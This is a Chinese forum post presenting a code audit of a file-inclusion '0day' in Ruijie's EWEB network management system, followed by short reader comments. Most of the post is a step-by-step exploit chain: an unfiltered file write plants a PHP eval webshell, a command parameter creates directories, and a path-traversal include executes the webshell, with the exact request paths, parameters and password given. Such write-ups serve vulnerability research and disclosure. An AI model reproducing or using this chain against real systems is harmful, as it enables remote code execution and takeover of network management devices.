锐*网管系统文件包含审计-0day

已提交cnvd,各位师傅就不要再提交了

漏洞名称:

锐捷网络-EWEB网管系统文件包含漏洞

一、审计步骤:

(一)查找写入文件函数:

自动化审计,在这个/auth_pi/authService.php文件下发现file_put_contents函数可控,跟进该文件。

/auth_pi/authService.php文件的set_authAction方法。在76行的提醒语句也说明了该info文件在user_auth目录下,而且也未对userName进行安全过滤,这里可以任意路径创建文件。

而P方法存在于/mvc/lib/core.function.php的类里面,是用来接收POST传参。
利用方式:
1:post请求
2:请求参数a=set_auth
3:参数为userName、auth

(二)查找文件包含函数:

自动化审计,在这个/local/auth/php/getCfile.php文件下发现include 函数可控,跟进该文件

这个文件通过post方式传参但是并没有对cf参数进行安全过滤

利用方式:
1:post请求
2:必须存在tmp/user_auth/cfile目录或者自己创建
3:参数为cf、&field=1

将文件全部放到www目录下,由于本地环境不是真实站点,所以在www目录下创建tmp文件,并创建test.info,这里说一下getCfile.php默认是找tmp/app_auth/cfile/下的文件,所以要用../../返回到tmp根目录。


成功案例:

步骤一:写文件

利用方式:
1:post请求/auth_pi/authService.php
2:请求参数a=set_auth
3:参数为userName、auth
登录后抓包将任意数据包的请求路径改成,
“/auth_pi/authService.php?a=set_auth”,将请求参数添加或者改成userName=tr1&auth=?php%20@eval($_POST['w']);?
userName参数可以为任意字符,包含的时候必须为userName参数.info文件。

创建目录:

通过(
command=cd+tmp
command=mkdir+app_auth
command=cd+app_auth
command=mkdir+cfile
)命令创建tmp/app_auth/cfile/目录

步骤二:文件包含

利用方式:
1:post请求/local/auth/php/getCfile.php
2:请求参数cf=../../../data/userName参数.info,登录后抓包将任意数据包的请求路径改成/local/auth/php/getCfile.php,请求参数添加或者改为
cf=../../../data/tr.info
3:&w=phpinfo();是一句话连接密码

注意:有时候../../../data/user_auth/userName参数.info才能包含

  • 发表于 2021-08-02 09:52:25
  • 阅读 ( 8490 )
  • 分类:代码审计

4 条评论

xaitx
一脸懵逼
请先 登录 后评论
N1eC
哈哈哈 这应该不是很难的呀 蛮新手的呢
请先 登录 后评论
goddmeon
可能是我的错觉 这篇文章 好像我当时帮别人审的那个
请先 登录 后评论
N1eC
不是很清楚 ,cnvd过了
请先 登录 后评论
请先 登录 后评论
N1eC
N1eC

7 篇文章

站长统计